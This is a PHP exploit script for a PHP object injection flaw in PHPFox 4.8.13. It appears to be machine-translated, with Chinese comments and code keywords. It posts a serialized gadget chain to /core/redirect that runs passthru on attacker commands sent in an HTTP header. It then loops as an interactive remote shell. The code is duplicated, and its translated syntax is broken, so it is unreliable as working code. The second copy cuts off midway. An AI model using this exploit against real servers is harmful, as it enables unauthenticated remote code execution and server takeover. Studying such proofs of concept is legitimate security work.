php
/*
------------------------------------------------------------------------------------------------
PHPFOX=4.8.13(重定向)PHP对象注入漏洞
------------------------------------------------------------------------------------------------
作者...........
邮件.. N0B0D13S [at] gmail [dot] com
软件链接. https://www.phpfox.com
+---------------------------------------------------------------------------------------------------+
|此概念代码证明仅出于教育目的而编写。 |
|使用它自己的风险。作者将对任何损害不承担任何责任。 |
+---------------------------------------------------------------------------------------------------+
[ - ]漏洞描述:
通过“ URL”请求参数传递到/core /重定向路由的用户输入是
在呼叫Unserialialize()PHP函数中使用之前,未正确消毒。
这可以由遥控,未经验证的攻击者挖出任意PHP
对象进入应用程序范围,使他们能够执行各种攻击,
例如执行任意PHP代码。
[ - ]原始Advisory:
*/
set_time_limit(0);
error_reporting(e_error);
if(!extension_loaded('curl'))die('[+] curl Extension!\ n');
打印'+-----------------------------------------------------------------------------------------+\ n';
打印'| PHPFOX=4.8.13(重定向)PHP对象注入egix | \ n';
打印'+-----------------------------------------------------------------------------------------+\ n';
if($ argc!=2)die('\ nusage: php $ argv [0] url \ n \ n');
函数编码($ string)
{
$ string=addslashes(gzcompress($ string,9));
返回urlencode(strtr(base64_encode($ string),'+/=',','-_,'));
}
phpfox_request类
{
私有$ _sname='egix';
私人$ spluginrequestget='print'____'; PassThru(base64_decode(\ $ _ server ['http_cmd']));打印'_____';死;';
}
类Core_Objectify
{
私人$ __ ToString;
功能__CONSTRUCT($回调)
{
$ this -__ tostring=$ callback;
}
}
打印'\ n [+]在{$ argv [1]} \ n'上启动shell;
$ popchain=serialize(new core_objectify([[新phpfox_request,'get']]);
$ popchain=str_replace('core_objectify','core \ Objectify',$ popchain);
$ ch=curl_init();
curl_setopt($ ch,curlopt_url,'{$ argv [1]} index.php/core/redirect');
curl_setopt($ ch,curlopt_returntransfer,true);
curl_setopt($ ch,curlopt_ssl_verifypeer,false);
curl_setopt($ ch,curlopt_postfields,'url='。encode($ popchain));
而(1)
{
打印'\ nphpfox-shell#';
if(($ cmd=trim(fgets(stdin)))=='exit')break;
curl_setopt($ ch,curlopt_httpheader,['cmd:'.base64_encode($ cmd)]);
preg_match('/_____('/_____
______/s',curl_exec($ ch),$ m)?打印$ m [1] : die('\ n [+]漏洞失败!\ n');
}
/*
------------------------------------------------------------------------------------------------
PHPFOX=4.8.13(重定向)PHP对象注入漏洞
------------------------------------------------------------------------------------------------
作者...........
邮件.. N0B0D13S [at] gmail [dot] com
软件链接. https://www.phpfox.com
+---------------------------------------------------------------------------------------------------+
|此概念代码证明仅出于教育目的而编写。 |
|使用它自己的风险。作者将对任何损害不承担任何责任。 |
+---------------------------------------------------------------------------------------------------+
[ - ]漏洞描述:
通过“ URL”请求参数传递到/core /重定向路由的用户输入是
在呼叫Unserialialize()PHP函数中使用之前,未正确消毒。
这可以由遥控,未经验证的攻击者挖出任意PHP
对象进入应用程序范围,使他们能够执行各种攻击,
例如执行任意PHP代码。
[ - ]原始Advisory:
正在加载...
karmainsecurity.com
set_time_limit(0);
error_reporting(e_error);
if(!extension_loaded('curl'))die('[+] curl Extension!\ n');
打印'+-----------------------------------------------------------------------------------------+\ n';
打印'| PHPFOX=4.8.13(重定向)PHP对象注入egix | \ n';
打印'+-----------------------------------------------------------------------------------------+\ n';
if($ argc!=2)die('\ nusage: php $ argv [0] url \ n \ n');
函数编码($ string)
{
$ string=addslashes(gzcompress($ string,9));
返回urlencode(strtr(base64_encode($ string),'+/=',','-_,'));
}
phpfox_request类
{
私有$ _sname='egix';
私人$ spluginrequestget='print'____'; PassThru(base64_decode(\ $ _ server ['http_cmd']));打印'_____';死;';
}
类Core_Objectify
{
私人$ __ ToString;
功能__CONSTRUCT($回调)
{
$ this -__ tostring=$ callback;
}
}
打印'\ n [+]在{$ argv [1]} \ n'上启动shell;
$ popchain=serialize(new core_objectify([[新phpfox_request,'get']]);
$ popchain=str_replace('core_objectify','core \ Objectify',$ popchain);
$ ch=curl_init();
curl_setopt($ ch,curlopt_url,'{$ argv [1]} index.php/core/redirect');
curl_setopt($ ch,curlopt_returntransfer,true);
curl_setopt($ ch,curlopt_ssl_verifypeer,false);
curl_setopt($ ch,curlopt_postfields,'url='。encode($ popchain));
而(1)
{
打印'\ nphpfox-shell#';
if(($ cmd=trim(fgets(stdin)))=='exit')break;
curl_setopt($ ch,curlopt_httpheader,['cmd:'.base64_encode($ cmd)]);
preg_match('/_____('/_____

}